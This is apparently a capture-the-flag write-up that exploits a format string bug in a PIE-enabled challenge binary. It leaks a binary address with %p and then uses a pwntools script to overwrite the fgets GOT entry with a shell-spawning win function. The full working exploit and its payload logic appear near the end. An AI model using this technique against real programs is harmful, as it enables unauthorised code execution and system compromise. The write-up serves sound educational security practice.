A Slice Of Lemon Pie
Let’s run checksec on the binary and see what protections it has.
quix@quixel:~$ checksec --file=format_pie
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 48 Symbols No 0 2 format_pie
- PIE,NX and canary are all enabled.
- Partial RELRO means that we can overwrite a GOT entry.
We can also see that the binary contains a win function that spawns a shell for us:
unsigned __int64 win()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("Congratulations! Here is your shell.");
system("/bin/sh");
return v1 - __readfsqword(0x28u);
}
Let’s take a look at the vuln function:
unsigned __int64 vuln()
{
char s[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v2; // [rsp+108h] [rbp-8h]
v2 = __readfsqword(0x28u);
do
{
printf("> ");
if ( !fgets(s, 256, stdin) )
break;
printf(s);
}
while ( strncmp(s, "exit", 4u) );
return v2 - __readfsqword(0x28u);
}
The plan#
The most obvious glaring issue is printf(s), this is a format string vulnerability. My plan is to overwrite the GOT entry for fgets with win.
But to do that, we first need to leak a binary address due to the presense of PIE, which randomises the binary address on each run.
The great thing about format strings is that they provide a way for us to both read and write to memory.
- We can read memory by using
%pto print the address of a variable. - We can write to memory by using
%nto write to a variable.
To successfully run the exploit, we would need to find:
- The GOT entry for
fgetsandwin - The offset at which our input starts in the format string
- an offset that provides us a leak of the binary address
Calculating the start of our input#
quix@quixel:~$ ./format_pie
Welcome to the Format Pie Shop!
We serve pies with a side of addresses.
> AAAAAAAA %p %p %p %p %p %p %p %p %p %p
AAAAAAAA 0x7dd26dc03963 0xfbad208b 0x7fff3b7ec840 0x1 (nil) 0x4141414141414141 0x2520702520702520 0x2070252070252070 0x7025207025207025 0xa702520702520
We can see that our input(“AAAAAAAAA”), is at offset 6. This is needed to generate the final payload.
Leaking a binary address#
Using more %p’s we can leak an address that corresponds to the binary
> %26$p
0x555555556060
To verify the address:
[addr = `0x555555556060`]
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /home/quix/format_pie
Putting it all together#
Once we are able to get these, we can calculate the base of the binary from our leak. Then we can calculate the offset to the GOT entry for fgets and win and write the address of win to it.
We will use the fmtstr_payload() function in pwntools to automatically generate the paylaod that will overwrite the GOT entry.
The full exploit:
from pwn import *
context.binary = ELF('./format_pie')
context.arch = 'amd64'
elf = context.binary
LEAK_INDEX = 26 # %26$p leaks a PIE pointer
FMT_OFFSET = 6 # first controllable fmt argument
PIE_LEAK_OFFSET = 0x2060
WIN_OFFSET = 0x1221
FGETS_GOT_OFF = 0x4020
#p = remote('34.93.66.31',30409)
p = process("./format_pie")
p.sendlineafter(b'> ', f'%{LEAK_INDEX}$p'.encode())
leak = int(p.recvline().strip(), 16)
pie_base = leak - PIE_LEAK_OFFSET
log.success(f'PIE base: {hex(pie_base)}')
win_addr = pie_base + WIN_OFFSET
fgets_got = pie_base + FGETS_GOT_OFF
log.success(f'win(): {hex(win_addr)}')
log.success(f'fgets@GOT: {hex(fgets_got)}')
payload = fmtstr_payload(
FMT_OFFSET,
{fgets_got: win_addr},
write_size='short'
)
p.sendlineafter(b'> ', payload)
p.interactive()
This gives us our shell. Note that offsets may vary depending on the libc version that you use.